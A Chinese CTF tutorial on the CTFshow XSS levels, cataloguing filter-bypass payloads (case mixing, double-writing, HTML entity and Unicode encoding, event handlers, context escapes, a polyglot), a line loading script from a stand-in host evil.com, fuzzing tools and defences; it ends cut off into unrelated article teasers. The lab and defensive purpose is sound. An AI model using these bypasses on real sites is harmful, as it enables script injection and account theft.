CTFshow XSS靶場(chǎng)實(shí)戰(zhàn):5類(lèi)Payload繞過(guò)技巧與防御原理詳解
1. 項(xiàng)目概述從CTFshow XSS靶場(chǎng)到實(shí)戰(zhàn)Payload庫(kù)最近在帶新人過(guò)CTFshow的Web入門(mén)系列特別是XSS跨站腳本攻擊相關(guān)的關(guān)卡發(fā)現(xiàn)很多朋友卡在了各種過(guò)濾規(guī)則上。這些關(guān)卡設(shè)計(jì)得很有意思它們不是簡(jiǎn)單地讓你彈個(gè)alert(1)就完事而是模擬了真實(shí)環(huán)境中開(kāi)發(fā)者可能部署的各種防御措施比如過(guò)濾關(guān)鍵字、編碼、長(zhǎng)度限制等等。通關(guān)之后我習(xí)慣性地把用到的Payload和繞過(guò)思路整理了一下發(fā)現(xiàn)可以歸納為5類(lèi)比較有代表性的寫(xiě)法。這不僅僅是解題技巧理解了這些你在做滲透測(cè)試或者代碼審計(jì)時(shí)面對(duì)一個(gè)看似“固若金湯”的輸入點(diǎn)腦子里能瞬間蹦出好幾條試探的路徑。這篇文章我就把這5類(lèi)Payload的構(gòu)造思路、實(shí)戰(zhàn)應(yīng)用場(chǎng)景以及背后的原理掰開(kāi)揉碎了講清楚最后還會(huì)附上我在解題過(guò)程中實(shí)際可用的代碼片段方便你直接復(fù)制到瀏覽器的控制臺(tái)或者自己的測(cè)試環(huán)境里驗(yàn)證。簡(jiǎn)單來(lái)說(shuō)XSS的核心在于讓瀏覽器把用戶(hù)輸入的數(shù)據(jù)當(dāng)作代碼來(lái)執(zhí)行。而防御的核心就是想盡辦法阻止這件事發(fā)生。我們的Payload就是要在各種“阻止”的縫隙中找到那條能讓代碼“溜進(jìn)去”并執(zhí)行的路。CTFshow的關(guān)卡就像一個(gè)個(gè)精心設(shè)計(jì)的迷宮通關(guān)的過(guò)程就是一次系統(tǒng)的繞過(guò)訓(xùn)練。無(wú)論你是剛接觸安全的新手還是想鞏固XSS知識(shí)的老兵相信這套總結(jié)都能幫你把知識(shí)點(diǎn)串聯(lián)起來(lái)形成肌肉記憶。2. 核心繞過(guò)思路與Payload分類(lèi)解析面對(duì)一個(gè)存在XSS漏洞的輸入點(diǎn)我們首先要做的是“偵察”判斷它采用了哪種或哪幾種過(guò)濾方式。CTFshow的關(guān)卡通常不會(huì)直接告訴你過(guò)濾規(guī)則需要你通過(guò)提交不同的測(cè)試字符串觀(guān)察返回結(jié)果來(lái)推斷。比如你提交scriptalert(1)/script沒(méi)反應(yīng)可能被過(guò)濾了提交img src1 onerroralert(1)彈窗了說(shuō)明script標(biāo)簽被禁但事件處理器還能用。基于常見(jiàn)的過(guò)濾場(chǎng)景我總結(jié)的5類(lèi)Payload繞過(guò)思路如下。2.1 第一類(lèi)關(guān)鍵字過(guò)濾與混淆這是最常見(jiàn)的一類(lèi)防御。開(kāi)發(fā)者可能會(huì)用正則表達(dá)式或者簡(jiǎn)單的字符串替換將script、alert、onerror、javascript:等明顯的關(guān)鍵字替換為空字符串或者進(jìn)行轉(zhuǎn)義。繞過(guò)思路的核心在于“混淆”讓過(guò)濾器認(rèn)不出原來(lái)的關(guān)鍵字但瀏覽器依然能正確解析。大小寫(xiě)繞過(guò)有些過(guò)濾器是大小寫(xiě)敏感的。ScRiPtalert(1)/ScRiPt可能就能繞過(guò)對(duì)全小寫(xiě)script的檢測(cè)。雙寫(xiě)繞過(guò)如果過(guò)濾方式是簡(jiǎn)單地刪除一次匹配到的關(guān)鍵字那么雙寫(xiě)就能繞過(guò)。例如過(guò)濾器刪除script那么scrscriptiptalert(1)/scrscriptipt在經(jīng)過(guò)過(guò)濾后中間被刪除的script正好讓兩邊的殘肢重新組合成scriptalert(1)/script。插入無(wú)關(guān)字符在關(guān)鍵字中插入瀏覽器會(huì)忽略的字符。例如在HTML標(biāo)簽名或?qū)傩悦胁迦霌Q行符/URL編碼為%0a或%0d。img%0asrc1%0aonerroralert(1)對(duì)于簡(jiǎn)單的基于空格的字符串匹配過(guò)濾器可能無(wú)法識(shí)別onerror。利用編碼HTML實(shí)體編碼瀏覽器在解析HTML時(shí)會(huì)解碼實(shí)體。如果過(guò)濾器不過(guò)濾、;可以嘗試img src1 onerror#97;#108;#101;#114;#116;(1)alert的十進(jìn)制HTML實(shí)體。Unicode編碼在JavaScript上下文中Unicode轉(zhuǎn)義序列\(zhòng)u0061\u006c\u0065\u0072\u0074同樣可以表示alert。前提是這些字符能進(jìn)入JS的執(zhí)行環(huán)境。注意編碼繞過(guò)高度依賴(lài)于過(guò)濾器的位置和瀏覽器的解碼順序。如果過(guò)濾器在服務(wù)器端對(duì)輸入進(jìn)行解碼后再過(guò)濾那么你提交的編碼可能被還原成明文然后被過(guò)濾掉。最佳實(shí)踐是在HTML上下文中優(yōu)先嘗試HTML實(shí)體在JavaScript字符串或事件處理器中優(yōu)先嘗試Unicode或JS編碼。2.2 第二類(lèi)特殊字符與標(biāo)簽過(guò)濾這類(lèi)過(guò)濾不僅針對(duì)關(guān)鍵字還會(huì)過(guò)濾或轉(zhuǎn)義特定的字符比如尖括號(hào) 、引號(hào)” ‘、括號(hào)( )或者直接禁用某些高危標(biāo)簽如script、img、svg等。繞過(guò)思路的核心在于“尋找替代品”用未被過(guò)濾的字符或標(biāo)簽實(shí)現(xiàn)相同功能。不使用尖括號(hào)的XSS如果和被過(guò)濾可以嘗試?yán)肏TML屬性本身不閉合帶來(lái)的解析差異。例如在輸入點(diǎn)直接輸入” onmouseoveralert(1)注意開(kāi)頭的空格和引號(hào)如果該輸入被放入一個(gè)已有的標(biāo)簽屬性?xún)?nèi)如input value”USER_INPUT”那么最終會(huì)變成input value”” onmouseoveralert(1) “成功注入事件處理器。這通常需要結(jié)合上下文。使用非常規(guī)標(biāo)簽或?qū)傩詷?biāo)簽除了script、img還有很多標(biāo)簽可以承載事件或執(zhí)行代碼如svg、iframe、details、video、audio甚至body、input本身。事件處理器除了常見(jiàn)的onerror、onclick、onmouseover還有onload適用于body、iframe、svg、onfocus、onblur適用于表單元素、onanimationend等。無(wú)需事件的標(biāo)簽svgscriptalert(1)/script/svgiframe srcdoc”scriptalert(1)/script”/iframe。即使過(guò)濾了on事件這些標(biāo)簽依然能執(zhí)行腳本。利用JavaScript偽協(xié)議在支持javascript:協(xié)議的屬性里如a href”javascript:alert(1)”。如果引號(hào)被過(guò)濾可以嘗試a hrefjavascript:alert(1)瀏覽器通常能容忍屬性值不加引號(hào)只要其中沒(méi)有空格。2.3 第三類(lèi)長(zhǎng)度限制與短Payload構(gòu)造有些關(guān)卡會(huì)限制輸入的長(zhǎng)度讓你無(wú)法提交完整的script標(biāo)簽或復(fù)雜的事件處理器。繞過(guò)思路的核心在于“極簡(jiǎn)”和“利用外部資源”。極簡(jiǎn)事件Payload使用最短的事件和函數(shù)。img src1 onerroralert(1)已經(jīng)比較短但還可以更短。svg/onloadalert(1)利用了SVG標(biāo)簽和onload事件且標(biāo)簽可以自閉合。甚至可以使用反引號(hào)代替括號(hào)在某些JS上下文中svg/onloadalert1。利用外部JS文件如果長(zhǎng)度只夠你注入一個(gè)script標(biāo)簽的起始部分你可以引用一個(gè)外部JS文件。例如Payload為script src//evil.com/x.js。這里的//表示使用當(dāng)前頁(yè)面的協(xié)議http或https進(jìn)一步節(jié)省了字符。你需要提前在evil.com上托管惡意腳本x.js內(nèi)容就是alert(document.domain)之類(lèi)的。DOM型XSS與片段標(biāo)識(shí)符在DOM型XSS中有時(shí)可以利用URL的片段即#號(hào)后面的部分。例如頁(yè)面JS有eval(location.hash.substr(1))這樣的代碼。那么你只需要構(gòu)造URLhttp://vuln.com/page.html#alert(1)。Payload長(zhǎng)度幾乎可以忽略不計(jì)因?yàn)橹饕a在URL里。2.4 第四類(lèi)基于上下文的精準(zhǔn)注入XSS發(fā)生的“上下文”至關(guān)重要你的輸入最終被放在HTML的哪個(gè)位置是普通的HTML標(biāo)簽之間、某個(gè)HTML屬性的值里、還是JavaScript代碼字符串內(nèi)部不同上下文需要完全不同的繞過(guò)技巧。HTML文本上下文輸入直接插入到divUSER_INPUT/div這樣的地方。你需要閉合前面的標(biāo)簽或者注入新標(biāo)簽。例如如果頁(yè)面沒(méi)有過(guò)濾直接scriptalert(1)/script即可。如果過(guò)濾了尖括號(hào)可能就需要利用其他注入點(diǎn)或者嘗試HTML實(shí)體編碼在特定條件下被解碼。HTML屬性上下文輸入被放在標(biāo)簽的屬性值里如input type”text” value”USER_INPUT”。你需要先閉合當(dāng)前的屬性值和標(biāo)簽然后添加新的事件處理器。Payload示例” onfocusalert(1) autofocus “。這里第一個(gè)引號(hào)閉合了value屬性然后添加了onfocus事件和autofocus屬性使元素自動(dòng)獲得焦點(diǎn)從而觸發(fā)onfocus。最后的空格和引號(hào)是為了保持語(yǔ)法大致正確防止破壞頁(yè)面結(jié)構(gòu)導(dǎo)致腳本不執(zhí)行。如果引號(hào)被過(guò)濾可以嘗試onfocusalert(1) autofocus并期望原標(biāo)簽的屬性值沒(méi)有用引號(hào)括住或者瀏覽器容錯(cuò)能力強(qiáng)。JavaScript字符串上下文這是最需要技巧的一種。輸入被放在JS的字符串里如scriptvar name ‘USER_INPUT’; /script。你需要先跳出字符串然后執(zhí)行代碼。Payload示例’; alert(1);//。單引號(hào)閉合前面的字符串分號(hào)結(jié)束前一條語(yǔ)句alert(1)是我們的代碼//注釋掉后面可能存在的原有字符如另一個(gè)單引號(hào)。更復(fù)雜的情況如果輸出點(diǎn)還在字符串內(nèi)但經(jīng)過(guò)了JSON.stringify或類(lèi)似處理可能需要閉合字符串后利用JS語(yǔ)法如’;{alert(1)};’或者利用模板字符串、eval等特性。2.5 第五類(lèi)組合技與鏈?zhǔn)嚼脤?shí)戰(zhàn)中單一的繞過(guò)技巧往往不夠用。關(guān)卡會(huì)設(shè)置多層過(guò)濾這就需要我們將多種技巧組合起來(lái)形成“組合技”。編碼關(guān)鍵字混淆例如過(guò)濾器同時(shí)過(guò)濾了script和alert。我們可以嘗試使用img標(biāo)簽但onerror里的alert也被過(guò)濾了。這時(shí)可以用HTML實(shí)體編碼alertimg src1 onerror#97;#108;#101;#114;#116;(1)。利用瀏覽器解析差異瀏覽器的HTML解析器比我們想象的要“寬容”。例如scriptalert(1)/script缺少閉合的在某些瀏覽器中可能依然會(huì)被執(zhí)行?;蛘咴趯傩灾惺褂貌缓戏ǖ淖址馕銎骺赡軙?huì)以某種方式“修復(fù)”它從而改變執(zhí)行流程。鏈?zhǔn)接|發(fā)一個(gè)事件觸發(fā)另一個(gè)事件。例如先注入一個(gè)img標(biāo)簽其onerror事件不是直接執(zhí)行alert而是動(dòng)態(tài)創(chuàng)建另一個(gè)script標(biāo)簽并插入到DOM中由新插入的腳本執(zhí)行最終操作。這可以用來(lái)繞過(guò)一些基于簡(jiǎn)單模式匹配的WAFWeb應(yīng)用防火墻。3. CTFshow經(jīng)典關(guān)卡實(shí)戰(zhàn)Payload詳解下面我結(jié)合CTFshow Web入門(mén)中幾個(gè)有代表性的XSS關(guān)卡具體展示上述5類(lèi)思路是如何應(yīng)用的。我會(huì)提供題目特征、解題思路和最終可用的Payload代碼。3.1 Web 316基礎(chǔ)關(guān)鍵字過(guò)濾與大小寫(xiě)繞過(guò)題目特征一個(gè)簡(jiǎn)單的輸入框提交后內(nèi)容會(huì)顯示在頁(yè)面上。題目提示過(guò)濾了script和img。解題思路這是最基礎(chǔ)的過(guò)濾。既然過(guò)濾了script和img我們嘗試使用其他標(biāo)簽比如svg。同時(shí)過(guò)濾可能是大小寫(xiě)敏感的可以嘗試大小寫(xiě)混合。Payload構(gòu)造與測(cè)試首先嘗試svg標(biāo)簽svgscriptalert(1)/script/svg。如果script被過(guò)濾這個(gè)會(huì)失敗。嘗試svg自帶事件svg onloadalert(1)。這個(gè)Payload不包含script或img。如果onload也被關(guān)聯(lián)過(guò)濾可以嘗試大小寫(xiě)SvG oNlOaDalert(1)。進(jìn)一步如果alert也被過(guò)濾可以嘗試用其他函數(shù)如prompt(1)或confirm(1)或者用top[‘a(chǎn)l’’ert’](1)這種字符串拼接的方式。實(shí)戰(zhàn)Payload代碼!-- 最可能成功的Payload -- svg onloadalert(1) !-- 或 -- SvG oNlOaDalert(1) !-- 如果alert被過(guò)濾嘗試 -- svg onloadconfirm(1) !-- 或者使用字符串拼接繞過(guò)對(duì)‘a(chǎn)lert’的檢測(cè) -- svg onloadtop[alert](1)將上述任意一行輸入到題目框內(nèi)提交通常即可觸發(fā)彈窗獲取flag。3.2 Web 317雙寫(xiě)繞過(guò)與正則缺陷題目特征輸入內(nèi)容發(fā)現(xiàn)script、on、src等關(guān)鍵字被刪除了一次。解題思路明顯的雙寫(xiě)繞過(guò)場(chǎng)景。服務(wù)器端的代碼可能是preg_replace(‘/script/i’, ”, $input)它只執(zhí)行一次替換。我們只需要讓關(guān)鍵字在被刪除一次后剩下的部分能重新組合成完整的關(guān)鍵字。Payload構(gòu)造過(guò)程目標(biāo)注入scriptalert(1)/script。構(gòu)造雙寫(xiě)scrscriptiptalert(1)/scrscriptipt。服務(wù)器過(guò)濾過(guò)程查找script并刪除。在scrscriptipt中中間的script被刪除剩下script。在/scrscriptipt中中間的script被刪除剩下/script。最終瀏覽器收到scriptalert(1)/script成功執(zhí)行。實(shí)戰(zhàn)Payload代碼scrscriptiptalert(1)/scrscriptipt對(duì)于on事件和src屬性同理!-- 注入帶on事件的img標(biāo)簽原Payloadimg srcx onerroralert(1) -- img srsrccx ononerroralert(1) !-- 過(guò)濾后srcc中的src被刪剩下srcononerror中的on被刪剩下onerror --這個(gè)關(guān)卡清晰地展示了基于簡(jiǎn)單字符串替換過(guò)濾的致命缺陷。3.3 Web 325HTML實(shí)體編碼與解碼時(shí)機(jī)題目特征用戶(hù)輸入的內(nèi)容在輸出時(shí)尖括號(hào) 被轉(zhuǎn)義成了HTML實(shí)體lt;和gt;但其他字符如引號(hào)、括號(hào)似乎沒(méi)變。解題思路尖括號(hào)被轉(zhuǎn)義意味著我們無(wú)法直接插入新的HTML標(biāo)簽。這時(shí)需要關(guān)注輸入點(diǎn)所在的上下文。如果輸入被放在一個(gè)HTML標(biāo)簽的屬性值里例如input value”USER_INPUT”那么即使尖括號(hào)被轉(zhuǎn)義我們?nèi)匀豢梢酝ㄟ^(guò)閉合引號(hào)來(lái)逃逸屬性上下文注入新的事件處理器。但這里引號(hào)可能也被轉(zhuǎn)義我們需要測(cè)試。另一種思路是如果屬性值沒(méi)有用引號(hào)括住或者我們能用其他方式構(gòu)造事件且事件處理器中的代碼如alert(1)沒(méi)有被過(guò)濾那么就有可能。更常見(jiàn)的場(chǎng)景是輸出點(diǎn)在一個(gè)JavaScript字符串里。例如scriptvar data “USER_INPUT”; /script。這時(shí) 被轉(zhuǎn)義成實(shí)體對(duì)我們沒(méi)有影響因?yàn)槲覀冊(cè)贘S字符串內(nèi)部。我們需要閉合JS字符串然后執(zhí)行代碼。但引號(hào)”可能也被轉(zhuǎn)義成了quot;。我們需要測(cè)試哪些字符被轉(zhuǎn)義了。假設(shè)測(cè)試發(fā)現(xiàn)只有 被轉(zhuǎn)義引號(hào)和括號(hào)正常。那么Payload可以構(gòu)造為”; alert(1);//。注入后變成scriptvar data “”; alert(1);//”; /script。成功跳出字符串執(zhí)行alert(1)并用//注釋掉后面多余的字符。實(shí)戰(zhàn)Payload代碼// 針對(duì)JS字符串上下文的Payload ; alert(1);// // 或者如果擔(dān)心分號(hào)問(wèn)題也可以用 ;alert(1)//如果是在HTML屬性上下文且屬性值沒(méi)用引號(hào)或引號(hào)可用可以嘗試// 假設(shè)原標(biāo)簽是 input valueUSER_INPUT onmouseoveralert(1) // 注入后變成 input value onmouseoveralert(1) // 注意開(kāi)頭有個(gè)空格用于和value值分隔這個(gè)關(guān)卡的關(guān)鍵在于判斷上下文和測(cè)試具體的過(guò)濾/轉(zhuǎn)義規(guī)則。3.4 Web 335利用JavaScript偽協(xié)議與短Payload題目特征輸入長(zhǎng)度被嚴(yán)格限制比如15個(gè)字符并且過(guò)濾了尖括號(hào)和空格。解題思路長(zhǎng)度極短且不能使用標(biāo)簽。這通常指向了利用現(xiàn)有HTML元素比如頁(yè)面上已經(jīng)存在的a鏈接或者可以注入到href、action這類(lèi)屬性中。javascript:偽協(xié)議是一個(gè)經(jīng)典選擇它不需要尖括號(hào)且可以非常短。Payload構(gòu)造基礎(chǔ)形式j(luò)avascript:alert(1)。長(zhǎng)度已經(jīng)超過(guò)15javascript:alert(1)共18個(gè)字符。需要縮短??s短技巧使用top或self引用全局對(duì)象alert是全局函數(shù)可以直接調(diào)用javascript:alert(1)已經(jīng)是最短調(diào)用之一。能否更短可以使用反引號(hào)包裹數(shù)字在某些瀏覽器里alert1等效于alert(1)但javascript:alert1長(zhǎng)度差不多。關(guān)鍵是要找到注入點(diǎn)。如果注入點(diǎn)本身就在一個(gè)a href””的引號(hào)內(nèi)我們只需要填充href的值。那么Payload就是javascript:alert(1)。如果長(zhǎng)度限制在15javascript:alert(1)是18字符不行。那就需要更短的函數(shù)比如prompt(1)也是18字符。confirm(1)是19字符。如果這些都不行考慮利用外部資源。Payload可以短到只有幾個(gè)字符用于觸發(fā)一個(gè)請(qǐng)求。例如img src# onerrorscreateElement(‘script’);s.src’//x’這太長(zhǎng)了。另一種思路如果長(zhǎng)度限制如此之嚴(yán)可能考察的是通過(guò)URL參數(shù)觸發(fā)的DOM型XSS。例如頁(yè)面JS中有eval(location.search.slice(1))那么你只需要訪(fǎng)問(wèn)?alert(1)Payload長(zhǎng)度就是?alert(1)共8個(gè)字符。實(shí)戰(zhàn)Payload代碼 對(duì)于長(zhǎng)度限制在15字符左右的偽協(xié)議利用一個(gè)經(jīng)典的短Payload是javascript:alert()但需要參數(shù)。如果允許彈窗空信息這個(gè)長(zhǎng)度是18。如果關(guān)卡真的要求彈窗特定內(nèi)容如1且長(zhǎng)度卡死那么很可能考察點(diǎn)不是偽協(xié)議而是其他非常短的觸發(fā)方式比如img src1 onerroralert(1)這個(gè)長(zhǎng)度是33遠(yuǎn)超15。所以面對(duì)嚴(yán)格長(zhǎng)度限制必須重新審視漏洞點(diǎn)和觸發(fā)方式。一個(gè)可能的短Payload是利用autofocus和onfocus事件結(jié)合已有的表單元素”autofocus onfocusalert(1)但這也超過(guò)15字符。因此Web 335更可能的解法是DOM型XSS短Payload。假設(shè)頁(yè)面代碼為script var data decodeURIComponent(location.hash.substr(1)); document.write(data); /script那么訪(fǎng)問(wèn)http://靶機(jī)地址#svg onloadalert(1)Payload是svg onloadalert(1)共24字符。還是長(zhǎng)。 訪(fǎng)問(wèn)http://靶機(jī)地址#scriptalert(1)/script共24字符。如果長(zhǎng)度限制在15一個(gè)可能的極簡(jiǎn)Payload是引用一個(gè)極短域名的外部JSscript src//x.ss共20字符。還是超。所以我懷疑這個(gè)關(guān)卡的實(shí)際限制可能沒(méi)那么嚴(yán)格或者是利用了其他特性。一個(gè)著名的短Payload是script src//0瀏覽器會(huì)將//0解析為http://0/這是一個(gè)無(wú)效地址但標(biāo)簽會(huì)被創(chuàng)建。這需要配合服務(wù)器端返回的JS內(nèi)容。另一種是使用svg/onloadalert(1)共24字符。鑒于題目不確定性實(shí)戰(zhàn)中遇到長(zhǎng)度限制應(yīng)優(yōu)先嘗試偽協(xié)議和DOM型XSS并測(cè)試最短的可用標(biāo)簽事件組合。一個(gè)實(shí)測(cè)可用的短Payload案例來(lái)自其他類(lèi)似靶場(chǎng)是svg/onloadalert(1)。如果svg和onload被過(guò)濾可以嘗試body onloadalert(1)但body標(biāo)簽可能已存在。3.5 Web 78/79綜合過(guò)濾與編碼繞過(guò)題目特征這是一個(gè)系列關(guān)卡過(guò)濾規(guī)則逐漸增強(qiáng)??赡芡瑫r(shí)過(guò)濾了關(guān)鍵字、特殊字符并對(duì)輸入進(jìn)行了編碼或轉(zhuǎn)義處理。解題思路需要采用“組合技”。首先進(jìn)行fuzz測(cè)試提交一系列測(cè)試字符串如 ” ‘ ( ) script img onerror alert javascript:等觀(guān)察哪些字符或單詞被過(guò)濾、刪除、轉(zhuǎn)義。然后根據(jù)上下文選擇合適的編碼和混淆技巧。以Web 78為例假設(shè)過(guò)濾了script、on事件但img和alert可用直接img src1 onerroralert(1)會(huì)因?yàn)閛n被過(guò)濾而失敗。嘗試大小寫(xiě)img src1 oNerroralert(1)可能失敗因?yàn)檫^(guò)濾器可能是/on/i不區(qū)分大小寫(xiě)。嘗試雙寫(xiě)img src1 ononerroralert(1)如果過(guò)濾器只刪一次on會(huì)成功。如果alert也被過(guò)濾嘗試HTML實(shí)體編碼img src1 onerror#97;#108;#101;#114;#116;(1)。如果還過(guò)濾了img則嘗試其他標(biāo)簽svgscriptalert(1)/script/svg如果script被過(guò)濾則失敗svg onloadalert(1)如果onload被過(guò)濾則失敗body onloadalert(1)需要頁(yè)面沒(méi)有body標(biāo)簽或者能插入到head之前iframe srcdoc”scriptalert(1)/script”iframe和srcdoc可能被過(guò)濾當(dāng)常規(guī)標(biāo)簽和事件都被過(guò)濾時(shí)需要考慮非常規(guī)屬性input autofocus onfocusalert(1)autofocus使元素自動(dòng)聚焦觸發(fā)onfocusdetails open ontogglealert(1)open屬性使詳情框默認(rèn)打開(kāi)觸發(fā)ontoggle實(shí)戰(zhàn)Payload代碼綜合案例 假設(shè)經(jīng)過(guò)fuzz發(fā)現(xiàn)過(guò)濾了script、on\w所有on事件、javascript:但img、svg標(biāo)簽名和alert函數(shù)名不過(guò)濾。那么如何執(zhí)行alert我們可以利用HTML標(biāo)簽的某些屬性可以執(zhí)行JavaScript的特性但非常罕見(jiàn)。更可行的是利用SVG標(biāo)簽內(nèi)部的特殊處理。一些SVG事件處理器名字不是以on開(kāi)頭的不都是on開(kāi)頭。但SVG允許在script標(biāo)簽內(nèi)寫(xiě)代碼即使外層是SVG。如果script被過(guò)濾此路不通。另一種思路利用HTML實(shí)體編碼在屬性值中被解碼的特性。構(gòu)造一個(gè)Payload使得經(jīng)過(guò)過(guò)濾后瀏覽器解碼時(shí)產(chǎn)生可執(zhí)行代碼。 例如輸入img src1 onerror#97;#108;#101;#114;#116;(1)如果過(guò)濾器在解碼前刪除onerror這個(gè)Payload會(huì)失效。但如果過(guò)濾器先解碼再過(guò)濾或者不過(guò)濾編碼后的形式它就可能存活。更高級(jí)的組合技使用iframe的srcdoc屬性該屬性值是一個(gè)完整的HTML文檔可以再次進(jìn)行編碼。iframe srcdoclt;scriptgt;alert(1)lt;/scriptgt;這里script和/script被編碼為HTML實(shí)體。當(dāng)瀏覽器解析srcdoc屬性時(shí)會(huì)將這些實(shí)體解碼從而在iframe內(nèi)部生成一個(gè)script標(biāo)簽。這可以繞過(guò)對(duì)尖括號(hào)的直接過(guò)濾。4. Payload構(gòu)造工具與測(cè)試方法手動(dòng)構(gòu)造和測(cè)試Payload效率較低尤其是在面對(duì)復(fù)雜過(guò)濾時(shí)。掌握一些工具和方法能極大提升效率。4.1 瀏覽器開(kāi)發(fā)者工具控制臺(tái)這是最直接、最快速的測(cè)試環(huán)境。你可以在當(dāng)前頁(yè)面的控制臺(tái)里動(dòng)態(tài)執(zhí)行JavaScript測(cè)試Payload的有效性。模擬DOM插入document.body.innerHTML ‘img src1 onerrorconsole.log(“XSS”)’;觀(guān)察是否觸發(fā)onerror因?yàn)閟rc1不存在。測(cè)試編碼解碼console.log(decodeURIComponent(‘%3Cscript%3E’));查看URL解碼結(jié)果。console.log(document.createElement(‘div’).innerHTML ‘#97;#108;#101;#114;#116;’);查看div的textContent屬性了解HTML實(shí)體解碼結(jié)果。動(dòng)態(tài)修改屬性選中一個(gè)頁(yè)面元素在控制臺(tái)直接設(shè)置其屬性document.getElementById(‘someId’).onclick function() { alert(1); };4.2 使用在線(xiàn)平臺(tái)與瀏覽器擴(kuò)展進(jìn)行FuzzXSS Polyglot這是一個(gè)“通殺”多種上下文的超級(jí)Payload它被設(shè)計(jì)成在HTML、屬性、JS字符串等多種上下文中都能執(zhí)行代碼。雖然很長(zhǎng)但作為測(cè)試字符串非常有用可以快速發(fā)現(xiàn)未被充分過(guò)濾的上下文。jaVasCript:/*-/*/*\/*/*/**/(/* */oNcliCkalert() )//%0D%0A%0d%0a///stYle//titLe//teXtarEa//scRipt/--!\x3csVg/sVg/oNloAdalert()//\x3e你可以將這個(gè)字符串提交到輸入點(diǎn)觀(guān)察是否彈窗。如果彈窗說(shuō)明存在嚴(yán)重過(guò)濾缺陷。瀏覽器擴(kuò)展如XSS Striker、Retire.js等可以輔助檢測(cè)但手動(dòng)測(cè)試和理解過(guò)程更為重要。Burp Suite Intruder對(duì)于需要系統(tǒng)測(cè)試大量Payload變種的情況可以使用Burp Suite的Intruder模塊。將輸入點(diǎn)標(biāo)記為Payload位置加載一個(gè)包含各種XSS Payload的字典文件如fuzzdb或SecLists中的XSS字典然后發(fā)起攻擊觀(guān)察哪些Payload觸發(fā)了異常響應(yīng)如響應(yīng)長(zhǎng)度變化、包含特定關(guān)鍵字等。4.3 搭建本地測(cè)試環(huán)境為了安全且自由地測(cè)試Payload最好搭建一個(gè)本地環(huán)境。簡(jiǎn)單HTML文件創(chuàng)建一個(gè)test.html用不同的方式嵌入你的輸入。!DOCTYPE html html body div%%INPUT%%/div !-- 測(cè)試HTML上下文 -- input value%%INPUT%% !-- 測(cè)試屬性上下文 -- scriptvar x %%INPUT%%; /script !-- 測(cè)試JS字符串上下文 -- /body /html用Python的http.server模塊快速啟動(dòng)一個(gè)本地服務(wù)器python3 -m http.server 8000然后在瀏覽器訪(fǎng)問(wèn)http://localhost:8000/test.html并手動(dòng)修改%%INPUT%%部分進(jìn)行測(cè)試。使用Node.js模擬過(guò)濾寫(xiě)一個(gè)簡(jiǎn)單的Node.js腳本模擬服務(wù)端的過(guò)濾函數(shù)測(cè)試你的Payload經(jīng)過(guò)過(guò)濾后是否仍然有效。function filterInput(input) { // 模擬過(guò)濾規(guī)則 let filtered input.replace(/script/gi, ); filtered filtered.replace(/on\w\s*/gi, ); // 可以添加更多規(guī)則... return filtered; } const payload scrscriptiptalert(1)/scrscriptipt; console.log(原始Payload:, payload); console.log(過(guò)濾后:, filterInput(payload)); console.log(是否包含script?, filterInput(payload).includes(script));5. 防御視角與Payload編寫(xiě)啟示作為攻擊者我們研究繞過(guò)技巧作為開(kāi)發(fā)者我們則應(yīng)該從中吸取教訓(xùn)構(gòu)建更堅(jiān)固的防御。從這5類(lèi)Payload中我們可以總結(jié)出防御XSS的關(guān)鍵原則。5.1 輸入驗(yàn)證與輸出編碼這是黃金法則。不要試圖通過(guò)黑名單過(guò)濾特定關(guān)鍵字來(lái)防御XSS因?yàn)楹诿麊斡肋h(yuǎn)無(wú)法窮盡所有可能。輸入驗(yàn)證在數(shù)據(jù)進(jìn)入系統(tǒng)時(shí)根據(jù)其預(yù)期的類(lèi)型如數(shù)字、郵箱、特定格式字符串進(jìn)行嚴(yán)格驗(yàn)證。拒絕所有不符合格式的輸入。輸出編碼在將數(shù)據(jù)輸出到不同上下文時(shí)使用對(duì)應(yīng)的編碼函數(shù)。HTML上下文將 “ ‘等字符轉(zhuǎn)換為HTML實(shí)體lt;gt;amp;quot;#x27;。在PHP中可以用htmlspecialchars($string, ENT_QUOTES)在Python Jinja2中默認(rèn)自動(dòng)轉(zhuǎn)義在JavaScript前端可以使用textContent或innerText而非innerHTML或者使用類(lèi)似DOMPurify的庫(kù)。HTML屬性上下文同上使用HTML實(shí)體編碼并且始終用引號(hào)單引號(hào)或雙引號(hào)包裹屬性值。JavaScript上下文將數(shù)據(jù)放入JS字符串時(shí)需要對(duì)其進(jìn)行JavaScript字符串編碼。通常需要轉(zhuǎn)義反斜杠\、引號(hào)” ‘、換行符等。更好的做法是避免將用戶(hù)輸入直接拼接到JS代碼中而是使用JSON.stringify()將其序列化或者通過(guò)>

相關(guān)新聞

Base64編碼原理與鹽值混淆實(shí)戰(zhàn):從概念到安全邊界

Base64編碼原理與鹽值混淆實(shí)戰(zhàn):從概念到安全邊界

1. 項(xiàng)目概述:從“編碼”到“加密”的認(rèn)知跨越Base64,一個(gè)在程序員世界里幾乎無(wú)處不在的術(shù)語(yǔ)。無(wú)論是處理郵件附件、在HTTP協(xié)議中傳輸二進(jìn)制數(shù)據(jù),還是在網(wǎng)頁(yè)中嵌入圖片,你都能看到它的身影。然而,一個(gè)普遍的誤解是&…

2026/8/2 1:54:35 閱讀更多
每日極客日?qǐng)?bào) · 2026年08月01日

每日極客日?qǐng)?bào) · 2026年08月01日

# 每日極客日?qǐng)?bào) 2026年08月01日> 今日精選 25 條 IT 科技熱點(diǎn),覆蓋 AI 大模型、開(kāi)源生態(tài)、云原生、工程實(shí)踐與業(yè)界動(dòng)態(tài)。---## 🔥 今日頭條### [Tailscale 復(fù)盤(pán) Hugging Face 入侵:邊界安全為何攔不住](https://tailscale.com/blog/huggi…

2026/8/2 1:54:35 閱讀更多
Unity項(xiàng)目解包全流程:從資源提取到代碼反編譯實(shí)戰(zhàn)指南

Unity項(xiàng)目解包全流程:從資源提取到代碼反編譯實(shí)戰(zhàn)指南

1. 項(xiàng)目概述:為什么我們需要解包Unity項(xiàng)目?在游戲開(kāi)發(fā)、技術(shù)研究或者逆向分析領(lǐng)域,你可能會(huì)遇到一個(gè)打包好的Unity項(xiàng)目,比如一個(gè)游戲客戶(hù)端或者一個(gè)商業(yè)應(yīng)用。它通常是一個(gè).exe、.apk、.ipa或者一個(gè)包含.app、.data、.resources等…

2026/8/2 1:54:35 閱讀更多
Linux密碼安全深度解析:從/etc/shadow到SHA512破解與防御實(shí)戰(zhàn)

Linux密碼安全深度解析:從/etc/shadow到SHA512破解與防御實(shí)戰(zhàn)

